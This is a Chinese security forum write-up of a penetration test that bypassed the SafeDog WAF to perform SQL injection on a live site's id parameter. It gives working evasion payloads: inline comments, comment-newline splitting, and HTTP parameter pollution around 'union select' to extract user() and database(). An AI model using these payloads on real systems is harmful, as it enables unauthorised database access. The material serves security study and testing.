问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次实战过狗注入
在实际的渗透过程中,遇到目标存在waf的情况还是比较多的,本文记录了在一次实战中bypass安全狗进行注入的一些方法。
0x00 发现漏洞 --------- 拿到目标后,在主页到处看看功能点,同时看看url特征,发现一个后缀/about.php?id=1,简直就是标准的SQL注入,加个单引号报错。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-72aa0cf68bb1e2a9798481a8fd20d26f38a21858.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-72aa0cf68bb1e2a9798481a8fd20d26f38a21858.png) 看特征明显是数字型注入,使用"and 1=1"和"and 1=2"测试一下,存在安全狗,直接被拦。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1163f2f85143b247bb9a3553bfe83ba75042c756.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1163f2f85143b247bb9a3553bfe83ba75042c756.png) 接下来就是想办法绕过,掏出之前4.0版本记录的绕过方法,看官网已经升级到5.0了,但是之前的某些方法应该还是有用的。 0x01 bypass安全狗 -------------- #### 绕过and 1=1的拦截 首先fuzz一下and 1=1的拦截情况 ```java and //不拦截 and 1 //拦截 and 1=1 //拦截 and -1=-1 //拦截 %26 1=1 //拦截 ``` 后面两种方法,是我在4.0版本的时候用来绕过的,看来是不行了。可以看到and之后不带参数的时候,是没有拦截的,说明检测的不是and,而是and后面的数字。最后我是使用内联注释把后面的数字-1包裹,成功绕过。(但是内联注释包裹1也是不行的) `?id=1 and /*!-1*/=-1` 正常返回 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2ced40929a5936cfc3050d700429a1dcc2073697.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2ced40929a5936cfc3050d700429a1dcc2073697.png) `?id=1 and /*!-1*/=-2` 返回错误 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-be4a65b122949c37419daeba0de3a0ee7d54c791.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-be4a65b122949c37419daeba0de3a0ee7d54c791.png) #### 绕过order by的拦截 同样,fuzz一下order by在什么情况下会被拦截 ```java order //不拦截 by //不拦截 order by //不拦截 order by 10 //拦截 ``` 发现在order by后面带数字的时候才会被拦截,也就是说并不是单纯的检测order by这个,这里绕过的办法有几种,首先想到的就是跟上面一样使用内联注释。 ###### 1、内联注释绕过 ```java ?id=1 /*!order*/ by 10 ?id=1 order /*!by*/ 10 ?id=1 order by /*!10*/ ``` 测试发现,上面三种方式都不会被拦截,所以猜测检测方式应该是要同时检测到这三个整体出现,才会被拦截。 之后修改后面数字,爆出字段为3 ```java order by /*!3*/ //返回正常 order by /*!4*/ //返回错误 ``` 正常页面 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1394603d580ed65487fd4b3bf4d9bc1a9cede383.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1394603d580ed65487fd4b3bf4d9bc1a9cede383.png) 报错页面: [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5c434b89af9638111b0dc41e4e30d213f66985d3.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5c434b89af9638111b0dc41e4e30d213f66985d3.png) ###### 2、注释换行绕过 ```java order%23%0aby 3 //%23为注释符#,%0a为换行符 order%23%0aby 4 ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b139978ebc45e03b9fc103f93514ca076656523b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b139978ebc45e03b9fc103f93514ca076656523b.png) #### 绕过union select拦截 fuzz结果如下 ```java union //不拦截 select //不拦截 union select //拦截 ``` 这里同样是union select同时出现才会拦截,这里我是测试了注释换行和内联注释,都没办法绕过。最后,是使用了HTTP参数污染加注释进行的绕过。 payload: ```java ?id=1 /*&id=-1 union select 1,2,3%23*/ ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-240df0d9bc140001d21bf1712a098b70b9a4411b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-240df0d9bc140001d21bf1712a098b70b9a4411b.png) 可以看到这里是成功绕过,并且2和3位置有回显,接下来只需要将对应位置改为要注入的数据即可。 user()和database() [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f840628b01824a54af4b0dc1cf5e44776bdae777.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f840628b01824a54af4b0dc1cf5e44776bdae777.png) 后面的过程只需要修改第2个id的值,就和正常的注入是一样的情况,就不多说了。 0x02 总结 ------- 在最后测试完成后,发现前面的几种方法不是任何情况都能用的,而最后使用的HTTP参数污染加注释绕过的方法,其实完全可以在上面测试中的所有情况下使用。所以其实就这一个方法就可以满足这次的渗透绕过,不过我还是把整个测试的过程记录下来,作为一个参考。
发表于 2021-08-31 18:10:54
阅读 ( 4476 )
分类:
漏洞分析
1 推荐
收藏
2 条评论
guchangan1
2021-09-01 19:39
可以 感谢师傅的参数污染
请先
登录
后评论
Cl0wnkey
2021-09-15 00:00
尴尬 发现自己把版本看成服务器安全狗的了 并没有更新到5.0
请先
登录
后评论
请先
登录
后评论
Cl0wnkey
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!